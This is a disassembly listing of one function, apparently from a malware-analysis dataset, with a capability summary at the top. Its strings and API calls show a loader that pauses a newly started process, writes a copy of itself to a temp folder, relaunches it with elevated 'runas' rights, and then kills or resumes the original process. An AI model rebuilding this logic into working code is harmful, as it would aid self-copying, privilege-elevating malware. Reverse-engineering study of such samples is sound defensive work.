Function at 0x40eaa4
Capabilities:
Create directory
Create process on windows
Delete file
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
sub esp, 0x3c
mov eax, 0x4241f4
call fcn.00414f98
sub esp, 0x2bc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, 0x104
push str.Wait_user_process
push dword [0x42e4e0]
call fcn.00403750
pop ecx
pop ecx
call fcn.0040e11d
push 0xf
pop esi
push ebx
lea ecx, [ebp + 0x1c]
mov dword [ebp + 0x3c], eax
mov dword [ebp + 0x34], esi
call fcn.00402240
push ebx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x10], esi
call fcn.00402240
lea eax, [ebp + 0x1c]
push eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp + 0x3c]
mov byte [ebp - 4], 2
call fcn.0040e9f0
add esp, 0xc
test al, al
je 0x40ee36
cmp dword [ebp + 0x34], 0x10
mov ecx, dword [ebp + 0x20]
jae 0x40eb25
lea ecx, [ebp + 0x20]
cmp dword [ebp - 0x10], 0x10
mov eax, dword [ebp - 0x24]
jae 0x40eb31
lea eax, [ebp - 0x24]
push ecx
push eax
push str.New_process___s___s_
push dword [0x42e4e0]
call fcn.00403750
add esp, 0x10
lea ecx, [ebp - 0x7c]
call fcn.0040e236
lea eax, [ebp - 0x7c]
push eax
sub esp, 0x1c
lea eax, [ebp - 0x28]
mov ecx, esp
mov dword [ebp + 0x38], esp
push eax
mov byte [ebp - 4], 3
call fcn.00408c70
call fcn.00408ff0
add esp, 0x20
cmp al, bl
je 0x40eb7d
push str.Its_our_loader__skip
jmp 0x40edfc
push ebx
push dword [ebp + 0x3c]
call fcn.0040e044
push str.Clients_process_paused
push dword [0x42e4e0]
call fcn.00403750
push edi
lea eax, [ebp - 0x1c4]
push ebx
push eax
call fcn.00415230
push edi
lea eax, [ebp - 0x2c8]
push ebx
push eax
call fcn.00415230
mov eax, dword [ebp + 0x20]
add esp, 0x28
cmp dword [ebp + 0x34], 0x10
jae 0x40ebc1
lea eax, [ebp + 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x1c4]
push eax
push ebx
push ebx
lea eax, [ebp - 0x2c8]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x1c4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
lea eax, [ebp - 0x1c4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x4281d8
lea eax, [ebp - 0x1c4]
push eax
call esi
cmp dword [ebp + 0x34], 0x10
mov eax, dword [ebp + 0x20]
jae 0x40ec28
lea eax, [ebp + 0x20]
push eax
lea eax, [ebp - 0x1c4]
push eax
call esi
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x1c4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40ee0b
mov ecx, dword [ebp + 0x48]
push ebx
lea eax, [ebp + 0x38]
push eax
mov dword [ebp + 0x38], ebx
call fcn.00404610
mov ecx, dword [ebp + 0x48]
push eax
call fcn.00404600
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004019d0
test al, al
je 0x40ed6c
push 0x42584c
lea ecx, [ebp]
call fcn.00401c30
lea eax, [ebp - 0x1c4]
push eax
lea ecx, [ebp]
mov byte [ebp - 4], 4
call fcn.00403040
push 0x425848
lea ecx, [ebp]
call fcn.00403040
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0x4c]
push eax
lea ecx, [ebp]
call fcn.00402400
cmp dword [ebp + 0x64], 0x10
mov eax, dword [ebp + 0x50]
jae 0x40ecd2
lea eax, [ebp + 0x50]
push eax
lea eax, [ebp - 0x1c4]
push eax
push str.Admin_run:___s___commandline___s_
push dword [0x42e4e0]
call fcn.00403750
mov eax, dword [ebp + 4]
add esp, 0x10
cmp dword [ebp + 0x18], 0x10
jae 0x40ecf9
lea eax, [ebp + 4]
push eax
push 0x42581c
push dword [0x42e4e0]
call fcn.00403750
push 0x44
pop esi
push esi
lea eax, [ebp - 0xc0]
push ebx
push eax
call fcn.00415230
push 0x10
lea eax, [ebp - 0x38]
push ebx
push eax
mov dword [ebp - 0xc0], esi
call fcn.00415230
mov eax, dword [ebp + 4]
add esp, 0x24
cmp dword [ebp + 0x18], 0x10
jae 0x40ed3c
lea eax, [ebp + 4]
lea ecx, [ebp - 0x38]
push ecx
lea ecx, [ebp - 0xc0]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40ee66
push ebx
push 1
lea ecx, [ebp]
mov byte [ebp - 4], 3
call fcn.00402260
cmp dword [ebp + 0x64], 0x10
mov eax, dword [ebp + 0x50]
jae 0x40ed78
lea eax, [ebp + 0x50]
push eax
lea eax, [ebp - 0x1c4]
push eax
push str.Copy_ourself_and_start:__s__commandline__s
push dword [0x42e4e0]
call fcn.00403750
mov eax, dword [ebp + 0x50]
add esp, 0x10
cmp dword [ebp + 0x64], 0x10
jae 0x40ed9f
lea eax, [ebp + 0x50]
xor esi, esi
inc esi
push esi
push ebx
push eax
lea eax, [ebp - 0x1c4]
push eax
push str.runas
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x40eea1
push str.Our_process_dont_started_wait_again
push dword [0x42e4e0]
call fcn.00403750
pop ecx
pop ecx
push dword [ebp + 0x3c]
push ebx
push 0x401
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x40ee28
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.Clients_process_terminated
push dword [0x42e4e0]
call fcn.00403750
pop ecx
pop ecx
jmp 0x40ee28
push str.Clients_process_resumed
push dword [0x42e4e0]
call fcn.00403750
push 1
push dword [ebp + 0x3c]
call fcn.0040e044
add esp, 0x10
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 2
call fcn.0040e273
jmp 0x40ee48
push str.Cant_get_process_name__wait_another_process
push dword [0x42e4e0]
call fcn.00403750
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x28]
call fcn.00402260
push ebx
push 1
lea ecx, [ebp + 0x1c]
mov byte [ebp - 4], bl
call fcn.00402260
jmp 0x40eac5
push str.Startup_OK
push dword [0x42e4e0]
call fcn.00403750
xor esi, esi
inc esi
push esi
push dword [ebp + 0x3c]
call fcn.0040e044
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x10
push dword [ebp - 0x38]
call edi
push dword [ebp - 0x34]
call edi
push ebx
push esi
lea ecx, [ebp]
call fcn.00402260
jmp 0x40eebd
push str.Startup_OK
push dword [0x42e4e0]
call fcn.00403750
push esi
push dword [ebp + 0x3c]
call fcn.0040e044
add esp, 0x10
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 2
call fcn.0040e273
push ebx
push esi
lea ecx, [ebp - 0x28]
call fcn.00402260
push ebx
push esi
lea ecx, [ebp + 0x1c]
call fcn.00402260
push ebx
push 1
lea ecx, [ebp + 0x4c]
call fcn.00402260
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov al, 1
mov dword fs:[0], ecx
pop ebx
add ebp, 0x40
leave
ret 0x20